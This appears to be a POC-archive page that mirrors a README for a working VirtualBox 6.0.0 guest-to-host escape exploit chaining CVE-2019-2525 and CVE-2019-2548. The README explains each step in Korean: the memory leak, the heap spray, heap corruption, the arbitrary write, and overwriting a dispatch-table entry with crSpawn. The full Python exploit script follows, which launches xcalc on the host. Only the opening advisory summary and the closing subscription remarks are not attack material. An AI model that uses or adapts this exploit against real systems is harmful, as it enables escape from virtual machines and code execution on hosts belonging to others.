Associated Vulnerability
Title:Oracle Virtualization VM VirtualBox 访问控制错误漏洞 (CVE-2019-2525)Description:Vulnerability in the Oracle VM VirtualBox component of Oracle Virtualization (subcomponent: Core). Supported versions that are affected are prior to 5.2.24 and prior to 6.0.2. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle VM VirtualBox accessible data. CVSS 3.0 Base Score 5.6 (Confidentiality impacts). CVSS Vector: (CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N).
Description
CVE-2019-2525 / CVE-2019-2548
Readme
# VirtualBox 6.0.0 Exploit 1-day
사용할 VBox bug
- CVE-2019-2525 : `crUnpackExtendGetAttribLocation` Infomation Disclosure
- CVE-2019-2548 : `crServerDispatchReadPixels` Interger overflow, lead to Heap overflow
- these bugs can be trigger on enable 3D Acceleration.
먼저 설명에 앞서 아래 익스를 수행한 동영상을 찍어서 첨부한다.
[https://youtu.be/IQRLtqMgVCY?t=46](https://youtu.be/IQRLtqMgVCY?t=46)
### 1. Memory Leak (CVE-2019-2525)
1. `hgcm_connect`와 `hgcm_disconnect`을 여러번 실행하여 메모리에 `cr_server`와 관련있는 값을 올릴 수 있고, `crUnpackExtendGetAttribLocation`에서 음수 오프셋을 통해 메모리 릭을 하여 `cr_server+19056`와 `crVBoxHGCMDoDisconnect` 의 주소를 구할 수 있다.
2. 위 `leak`된 메모리값을 이용해 `cr_server`와 `crSpawn`의 주소를 구한다.
### 2. Heap Spray
1. `CRVBOXSVBUFFER_t`를 메모리에 Heap Spray한다. 이 때 `alloc_buf`를 사용하는데, 메모리가 연속적으로 할당되기때문에, 버퍼 구조체의 `pData`역시 버퍼 구조체 바로 옆에 할당되게 된다.
2. 그러므로 `alloc_buf(client, 0x20)`으로 `CRVBOXSVBUFFER_t`과 같은 크기의 pData를 생성한다.

3. 짝수개의 Buffer ID를 Free한다.

4. `alloc_buf(client, 0x50, msg)`와 `alloc_buf(client, 0x20, msg)`를 번갈아가며 할당하여 `Free` 청크를 채운다. 0x50은 Free된 청크에 할당되지 못하고 다른 메모리영역에 할당된다.

5. 0x50의 길이를 가지는 짝수 Buffer ID를 Free

### 3. Corrupt Chunk (CVE-2019-2548)
1. `crServerDispatchReadPixels`에서 `integer overflow`가 일어나는 것을 이용하여 0x20크기의 구조체를 할당한다.
- bytes_per_row = 0x1FFFFFFD / height = 8 ⇒ 0x100000020
2. 위 구조체는 Spray된 힙영역의 중간에 Free된 영역에 삽입되고, 크기가 0x38인 것을 이용하여 0x18만큼 `Heap overflow`가 발생하여 다음 구조체의 `uiID`와 `uiSize`를 수정할 수 있다.
- uiID = 0xdeadbeef / uiSize = 0xffffffff

3. 수정된 uiID를 가진 구조체를 사용하여 다음 청크를 수정시킬 수 있다. 이 때 uiSize가 0xffffffff이기때문에 다음 청크는 `pData`까지 원하는 값으로 바꿀 수 있다.
- uiID = 0xcafebabe / uiSize = 0xffffffff / pData = 원하는 값

4. 이제 uiID가 0xdeadbeef인 구조체로 pData를 설정하고 0xcafebabe인 구조체를 이용해 `OOB Write` 를 수행할 수 있다.
### 4. Exploit
1. `OOB Write`를 이용하여 `cr_server + 0xc410`에 "xcalc"를 쓴다.
2. `OOB Write`를 이용하여 함수 테이블에 있는 crServerDispatchBoundsInfoCR(cr_server+0x0xae98)를 `crSpawn` 함수로 덮는다.
3. crServerDispatchBoundsInfoCR를 실행시켜 `crSpawn`함수를 호출한다. 이 때 인자로 **command="xcalc", argv=["xcalc"의 주소, NULL]**를 주어 VirtualBox를 탈출하여 계산기를 실행시킬 수 있다.
### 결과화면

### Demo 동영상
[https://youtu.be/IQRLtqMgVCY?t=46](https://youtu.be/IQRLtqMgVCY?t=46)
### Exploit code
```python
import sys, os
from struct import pack, unpack
sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import *
def nop_msg():
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)
+ "\x00\x00\x00" +chr(CR_NOP_OPCODE)
+ pack("<IIII", 0x41414141, 0x41414141, 0x41414141, 0x41414141)
)
return msg
def make_leak_msg(offset):
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
+ "\x00\x00\x00" +chr(CR_EXTEND_OPCODE) #opcode
+ pack("<I", offset) #packet_length
+ pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE) #sub opcode
+ pack("<I", 0x41424344)
)
return msg
def make_readpixels_msg(uiId, uiSize):#x, y, width, height, formata, ttype, pixels):
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
+ "\x00\x00\x00" +chr(CR_READPIXELS_OPCODE) #opcode
+ pack("<IIIIII", 0, 0, 0, 8, 0x35, 0) #x,y,w,h, format, type
+ pack("<IIIIIIII", 0,0,0,0,0x1ffffffd, 0, uiId, uiSize) # stride, align, skipR, skipPix, byteperrow, rowlen
)
return msg
def make_crSpawn_msg(cmd, argv):
msg = (
pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1) #type, conn_id, numOpcodes
+ "\x00\x00\x00" +chr(CR_BOUNDSINFOCR_OPCODE) #opcode
+ pack("<I", 1)
+ cmd.ljust(16, "\x00")
+ pack("<I", 0)
+ pack("<QQ", argv, 0) # argv : execute string, null
)
return msg
def leak_address(client):
leak_success = False;
while not leak_success:
for i in range(0, 10):
leak_client = hgcm_connect("VBoxSharedCrOpenGL")
hgcm_disconnect(leak_client)
msg = make_leak_msg(0x100000000-0x9b8)
result = crmsg(client, msg)
if "\x7f\x00\x00" in result:
leak = unpack('<Q', result[16:24])[0]
if (leak%0x1000 == 0x170):
leak_success = True
break
cr_server = leak - 0x4a70
leak_success = False;
while not leak_success:
for i in range(0, 100):
leak_client = hgcm_connect("VBoxSharedCrOpenGL")
hgcm_disconnect(leak_client)
msg = make_leak_msg(0x100000000-0x9b8)
result = crmsg(client, msg)
if "\x7f\x00\x00" in result:
leak = unpack('<Q', result[16:24])[0]
if (leak%0x1000 == 0x230):
leak_success = True
break
crSpawn = leak - 0xbd20
return (cr_server, crSpawn)
def heapSpray(client):
buf_ids = []
spray_ids = []
msg = nop_msg()
# make CRVBOXSVCBUFFER_t & pData heapSpray area
for i in range(120):
buf_ids.append(alloc_buf(client, 0x20, msg))
buf_ids = buf_ids[::-1] # reverse, because fastbin is LIFO
# even buf_ids free
for idx in buf_ids[::2]:
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])
# fill CRVBOXSVCBUFFER_t free areas
for i in range(40):
spray_ids.append(alloc_buf(client, 0x50, msg))
alloc_buf(client, 0x20, msg)
# make a hole between spray area
for idx in spray_ids[::-2]:
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [idx, "A"*0x20, 0])
def make_corrupt_obj(pData):
obj = (
"A"*0x28
+ pack("<Q", 0x35)
+ pack("<I", 0xcafebabe) #uiId
+ pack("<I", 0xffffffff) #uiSize
+ pack("<Q", pData) # table_addr
)
return obj
def write_anywhere(addr, data):
#make corrupt obj
fake_buffer = make_corrupt_obj(addr)
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0, fake_buffer])
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xcafebabe, 0xffffffff, 0, data])
if __name__=='__main__':
client = hgcm_connect("VBoxSharedCrOpenGL")
set_version(client) #must use
# Trigger to CVE-2019-2525
cr_server, crSpawn = leak_address(client)
crServerDispatchBoundsInfoCR = cr_server+0xae98
print("[*] crServer : " + hex(cr_server))
print("[*] crSpawn : " + hex(crSpawn))
#print("[*] crServerDispatchBoundsInfoCR : " + hex(crServerDispatchBoundsInfoCR))
# heapSpray
heapSpray(client)
# Trigger to CVE-2019-2548
msg = make_readpixels_msg(0xdeadbeef, 0xffffffff)
crmsg(client, msg)
#a = input("test1 : ")
# setting "xcalc"
xcalc_string = cr_server + 0xc410
write_anywhere(xcalc_string, "xcalc")
print("[+] setting execute string ['xcalc'] : " + hex(xcalc_string))
# overwrite talbe func crSpawn
print("[+] overwriting crServerDispatchBoundsInfoCR to crSpawn")
write_anywhere(crServerDispatchBoundsInfoCR, pack("<Q", crSpawn))
# escape!! execute xcalc
msg = make_crSpawn_msg("xcalc", xcalc_string)
crmsg(client, msg)
hgcm_disconnect(client)
```
File Snapshot
[4.0K] /data/pocs/3cbf05e1fbcad0e658364f89470795f69049313b
├── [4.8K] exploit.py
├── [4.0K] img
│ ├── [ 34K] vbox_escape1.png
│ ├── [ 34K] vbox_escape2.png
│ ├── [ 55K] vbox_escape3.png
│ ├── [ 51K] vbox_escape4.png
│ ├── [ 52K] vbox_escape5.png
│ ├── [ 51K] vbox_escape6.png
│ └── [234K] vbox_escape7.png
├── [4.0K] lib
│ ├── [2.5K] chromium.py
│ ├── [ 11K] hgcm.py
│ └── [ 20K] opcodes.py
├── [8.0K] README.md
└── [ 126] vbox_bulid
2 directories, 13 files
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →